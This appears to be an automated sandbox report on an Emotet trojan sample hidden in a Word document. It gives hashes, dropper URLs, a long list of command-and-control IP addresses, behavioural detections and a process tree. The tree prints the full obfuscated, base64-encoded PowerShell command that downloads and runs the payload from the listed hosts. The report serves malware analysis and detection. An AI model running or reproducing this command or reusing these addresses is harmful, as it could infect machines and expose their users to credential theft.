emotet | 64c7907e94da2ce9a18f7ad3c62a54d7e9afb9b0be47c3bf44d9e94298fa4e8b

Analysis

max time kernel
136s
max time network
152s
platform
windows10_x64
resource
win10
submitted
23/09/2020, 03:45

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General

Target
emotet_e1_64c7907e94da2ce9a18f7ad3c62a54d7e9afb9b0be47c3bf44d9e94298fa4e8b_2020-09-23__034307000382._doc.doc
Size 169KB
Sample200923-acla5dat36
SHA256 64c7907e94da2ce9a18f7ad3c62a54d7e9afb9b0be47c3bf44d9e94298fa4e8b
MD5 949dca64f73b4100fd3d5bec31b27eaf
SHA1 ffe581bad8fe09d7b9e57ed69af38857c8a8176e
SHA512 aceed4a00395d4c45d2b1552b18dbab30995298fb54b14f29dba83b4d6c0e55493d0d317d257bb13d08b932cdeaad5e894ff7f0be9da155ec65950d71297a42e
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://riandutra.com/img/o9o/
exe.dropper
http://amyemitchell.com/themes/d3i/
exe.dropper
https://www.pxid360.com/wp-admin/w6X/
exe.dropper
http://zheliyouyy.com/wp-admin/3B/
exe.dropper
http://advanceddisposalsolutions.com/wp-includes/l/
exe.dropper
http://crazymut.com/d1ad_1a7z_jg4hewt/qWT/
exe.dropper
https://santyago.org/wp-content/qq/

Extracted

Family

emotet

192.81.38.31:80
51.75.33.127:80
37.157.196.117:7080
116.202.23.3:8080
54.37.42.48:8080
2.36.95.106:80
186.103.141.250:443
192.241.146.84:8080
94.176.234.118:443
12.162.84.2:8080
82.230.1.24:80
98.13.75.196:80
190.190.148.27:8080
177.129.17.170:443
202.4.58.197:80
77.90.136.129:8080
77.106.157.34:8080
95.9.180.128:80
83.169.21.32:7080
212.71.237.140:8080
77.238.212.227:80
201.213.177.139:80
78.249.119.122:80
50.28.51.143:8080
80.11.164.185:80
51.38.124.206:80
216.47.196.104:80
174.113.69.136:80
76.168.54.203:80
137.74.106.111:7080
67.247.242.247:80
217.199.160.224:7080
209.236.123.42:8080
199.203.62.165:80
185.94.252.27:443
192.241.143.52:8080
61.92.159.208:8080
185.178.10.77:80
123.51.47.18:80
190.24.243.186:80
64.201.88.132:80
51.15.7.189:80
177.73.0.98:443
74.58.215.226:80
60.93.23.51:80
187.162.248.237:80
152.169.22.67:80
38.88.126.202:8080
91.105.94.200:80
190.163.31.26:80
185.94.252.12:80
170.81.48.2:80
190.2.31.172:80
45.33.77.42:8080
111.67.77.202:8080
190.117.79.209:80
51.255.165.160:8080
110.142.219.51:80
45.16.226.117:443
92.24.50.153:80
178.250.54.208:8080
50.121.220.50:80
181.30.61.163:443
220.109.145.69:80
119.106.216.84:80
191.182.6.118:80
1.226.84.243:8080
87.106.46.107:8080
172.104.169.32:8080
204.225.249.100:7080
82.76.111.249:443
185.183.16.47:80
96.227.52.8:443
190.115.18.139:8080
104.131.103.37:8080
70.32.84.74:8080
186.70.127.199:8090
111.67.12.221:8080
96.245.123.149:80
138.97.60.141:7080
61.197.92.216:80
190.6.193.152:8080
213.197.182.158:8080
45.46.37.97:80
217.13.106.14:8080
104.131.41.185:8080
155.186.0.121:80
51.159.23.217:443
74.136.144.133:80
68.183.170.114:8080
70.32.115.157:8080
5.189.178.202:8080
35.143.99.174:80
5.196.35.138:7080
188.135.15.49:80
68.183.190.199:8080
177.74.228.34:80
185.215.227.107:443
189.2.177.210:443
72.47.248.48:7080
219.92.13.25:80
185.232.182.218:80
65.36.62.20:80
68.69.155.181:80
181.129.96.162:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2464	3000	POWeRsHeLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3704-14-0x00000000005B0000-0x00000000005C2000-memory.dmp	emotet
behavioral2/memory/3704-14-0x00000000005B0000-0x00000000005C2000-memory.dmp	emotet
behavioral2/memory/3704-15-0x00000000005E0000-0x00000000005F0000-memory.dmp	emotet
behavioral2/memory/3704-15-0x00000000005E0000-0x00000000005F0000-memory.dmp	emotet
behavioral2/memory/1664-18-0x0000000000A10000-0x0000000000A22000-memory.dmp	emotet
behavioral2/memory/1664-18-0x0000000000A10000-0x0000000000A22000-memory.dmp	emotet
behavioral2/memory/1664-19-0x0000000000A30000-0x0000000000A40000-memory.dmp	emotet
behavioral2/memory/1664-19-0x0000000000A30000-0x0000000000A40000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
10	2464	POWeRsHeLL.exe
28	2464	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3704	Hn_ui_s.exe
1664	msihnd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\MSFlacEncoder\msihnd.exe	Hn_ui_s.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3848	WINWORD.EXE
3848	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2464	POWeRsHeLL.exe
2464	POWeRsHeLL.exe
2464	POWeRsHeLL.exe
1664	msihnd.exe
1664	msihnd.exe
1664	msihnd.exe
1664	msihnd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2464	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2464 wrote to memory of 3704	2464	POWeRsHeLL.exe	82
PID 2464 wrote to memory of 3704	2464	POWeRsHeLL.exe	82
PID 2464 wrote to memory of 3704	2464	POWeRsHeLL.exe	82
PID 3704 wrote to memory of 1664	3704	Hn_ui_s.exe	83
PID 3704 wrote to memory of 1664	3704	Hn_ui_s.exe	83
PID 3704 wrote to memory of 1664	3704	Hn_ui_s.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_64c7907e94da2ce9a18f7ad3c62a54d7e9afb9b0be47c3bf44d9e94298fa4e8b_2020-09-23__034307000382._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3848

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABCADgAdABkAGYAMQBzAD0AKAAnAE4AJwArACgAJwA0AHgAJwArACcAdgBlACcAKQArACcAOAAxACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBzAEUAUgBQAHIATwBGAGkAbABlAFwASQA2AE8AeQBYAG8AMABcAHUAegBiAEoAVAA2AFEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAEMAdQByAEkAVAB5AFAAYABSAGAATwBUAE8AQwBPAGwAIgAgAD0AIAAoACcAdAAnACsAJwBsAHMAJwArACgAJwAxACcAKwAnADIALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAnACsAJwAxADEAJwArACcALAAgAHQAbAAnACkAKwAnAHMAJwApADsAJABVAGkAZwA2ADUAMAB3ACAAPQAgACgAJwBIAG4AJwArACgAJwBfACcAKwAnAHUAaQBfAHMAJwApACkAOwAkAEoANwBkADYAagAyAG4APQAoACgAJwBVACcAKwAnAHcANAA5ACcAKQArACgAJwBwACcAKwAnAHMAYgAnACkAKQA7ACQAWQBtAHgAOAB1AGsAXwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBJADYAbwB5AHgAbwAwAHsAMAAnACsAJwB9AFUAegBiACcAKwAnAGoAJwArACcAdAA2ACcAKwAnAHEAJwArACcAewAwACcAKwAnAH0AJwApACAALQBmACAAIABbAGMASABhAFIAXQA5ADIAKQArACQAVQBpAGcANgA1ADAAdwArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASQBzAGYANgAzAG8AeAA9ACgAKAAnAFoAJwArACcAeQBfACcAKQArACgAJwBmADcAJwArACcANwAnACkAKwAnAG0AJwApADsAJABFAHoAYgByAHEAMwB3AD0AJgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcAZQBiAGMATABJAGUAbgBUADsAJABFAHMAegBwADQAawAyAD0AKAAoACcAaAAnACsAJwB0AHQAcAA6AC8AJwArACcALwByAGkAJwApACsAKAAnAGEAbgAnACsAJwBkAHUAdAByACcAKQArACcAYQAuACcAKwAoACcAYwBvAG0AJwArACcALwBpACcAKQArACcAbQAnACsAKAAnAGcAJwArACcALwBvACcAKQArACgAJwA5AG8AJwArACcALwAqAGgAJwApACsAKAAnAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAnAC8AJwArACcAYQAnACsAKAAnAG0AJwArACcAeQBlAG0AJwApACsAJwBpACcAKwAoACcAdABjACcAKwAnAGgAZQBsAGwALgAnACkAKwAnAGMAbwAnACsAJwBtACcAKwAoACcALwB0AGgAJwArACcAZQAnACkAKwAoACcAbQAnACsAJwBlAHMAJwApACsAJwAvACcAKwAoACcAZAAnACsAJwAzAGkALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwAHMAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAHcAdwAnACkAKwAoACcAdwAuAHAAeABpAGQAMwAnACsAJwA2ACcAKwAnADAAJwArACcALgBjAG8AbQAvAHcAcAAtAGEAJwApACsAKAAnAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdwA2ACcAKwAnAFgAJwArACcALwAqAGgAdAAnACkAKwAnAHQAcAAnACsAJwA6AC8AJwArACgAJwAvAHoAJwArACcAaAAnACkAKwAoACcAZQBsAGkAJwArACcAeQAnACsAJwBvAHUAeQB5ACcAKQArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AdwBwAC0AJwArACcAYQAnACkAKwAnAGQAJwArACgAJwBtACcAKwAnAGkAbgAvACcAKQArACcAMwBCACcAKwAnAC8AJwArACcAKgAnACsAKAAnAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwApACsAKAAnAGEAZAB2AGEAbgAnACsAJwBjAGUAJwApACsAJwBkACcAKwAoACcAZABpACcAKwAnAHMAcABvAHMAJwArACcAYQBsACcAKQArACcAcwAnACsAKAAnAG8AbAB1AHQAJwArACcAaQBvAG4AJwArACcAcwAuACcAKQArACcAYwAnACsAJwBvACcAKwAoACcAbQAnACsAJwAvAHcAcAAtACcAKQArACcAaQAnACsAKAAnAG4AYwAnACsAJwBsACcAKQArACcAdQBkACcAKwAoACcAZQAnACsAJwBzAC8AbAAnACkAKwAoACcALwAqAGgAdAB0ACcAKwAnAHAAJwArACcAOgAnACsAJwAvAC8AYwByAGEAJwArACcAegB5ACcAKwAnAG0AdQB0AC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AZAAnACsAJwAxAGEAJwApACsAJwBkAF8AJwArACcAMQBhACcAKwAoACcANwAnACsAJwB6AF8AagAnACkAKwAnAGcANAAnACsAJwBoAGUAJwArACgAJwB3ACcAKwAnAHQALwBxACcAKQArACcAVwBUACcAKwAnAC8AJwArACgAJwAqAGgAdAAnACsAJwB0AHAAJwApACsAKAAnAHMAJwArACcAOgAnACsAJwAvACcAKwAnAC8AcwBhAG4AdAB5AGEAJwApACsAKAAnAGcAbwAuAG8AcgAnACsAJwBnAC8AdwAnACkAKwAnAHAALQAnACsAKAAnAGMAbwAnACsAJwBuAHQAZQAnACkAKwAoACcAbgAnACsAJwB0ACcAKwAnAC8AcQBxAC8AJwApACkALgAiAHMAcABgAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASwBfADIAagB4AHkAeAA9ACgAKAAnAEsAegAnACsAJwA0AHMAJwApACsAKAAnAGQANAAnACsAJwA5ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQASQA3AHQAbABvAHcAeAAgAGkAbgAgACQARQBzAHoAcAA0AGsAMgApAHsAdAByAHkAewAkAEUAegBiAHIAcQAzAHcALgAiAEQAYABvAGAAVwBuAEwAbwBBAEQARgBgAGkAbABlACIAKAAkAEkANwB0AGwAbwB3AHgALAAgACQAWQBtAHgAOAB1AGsAXwApADsAJABJAG4AaAAyADYAeQAzAD0AKAAoACcARgBnADcAdgAnACsAJwAzACcAKQArACcAaQBjACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABZAG0AeAA4AHUAawBfACkALgAiAGwAYABFAG4ARwBUAGgAIgAgAC0AZwBlACAAMwA3ADgAOAAyACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AJwArACcAawBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAFkAbQB4ADgAdQBrAF8AKQA7ACQAVAB0AHEAMwAzAF8AeQA9ACgAJwBKACcAKwAoACcAcQBjAHYAZgAnACsAJwA0AGYAJwApACkAOwBiAHIAZQBhAGsAOwAkAEYANQB0AHkAdwBoADIAPQAoACgAJwBUAGIAcQAnACsAJwAzACcAKQArACgAJwBjACcAKwAnAF8AZwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWABoAG4AawBzAGEAdQA9ACgAJwBPADcAJwArACgAJwByACcAKwAnAGkAMQBvAGQAJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2464
- C:\Users\Admin\I6oyxo0\Uzbjt6q\Hn_ui_s.exe
  "C:\Users\Admin\I6oyxo0\Uzbjt6q\Hn_ui_s.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3704
- - C:\Windows\SysWOW64\MSFlacEncoder\msihnd.exe
    "C:\Windows\SysWOW64\MSFlacEncoder\msihnd.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1664

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1664-19-0x0000000000A30000-0x0000000000A40000-memory.dmp

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memory/1664-18-0x0000000000A10000-0x0000000000A22000-memory.dmp

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memory/2464-9-0x00000113AEE40000-0x00000113AEE41000-memory.dmp

Download

memory/2464-10-0x00000113AEFF0000-0x00000113AEFF1000-memory.dmp

Download

memory/2464-8-0x00007FFBBB430000-0x00007FFBBBE1C000-memory.dmp

Download

memory/3704-14-0x00000000005B0000-0x00000000005C2000-memory.dmp

Download

memory/3704-15-0x00000000005E0000-0x00000000005F0000-memory.dmp

Download

memory/3848-0-0x00007FFBC2C00000-0x00007FFBC32C6000-memory.dmp

Download

memory/3848-6-0x0000028486838000-0x0000028486843000-memory.dmp

Download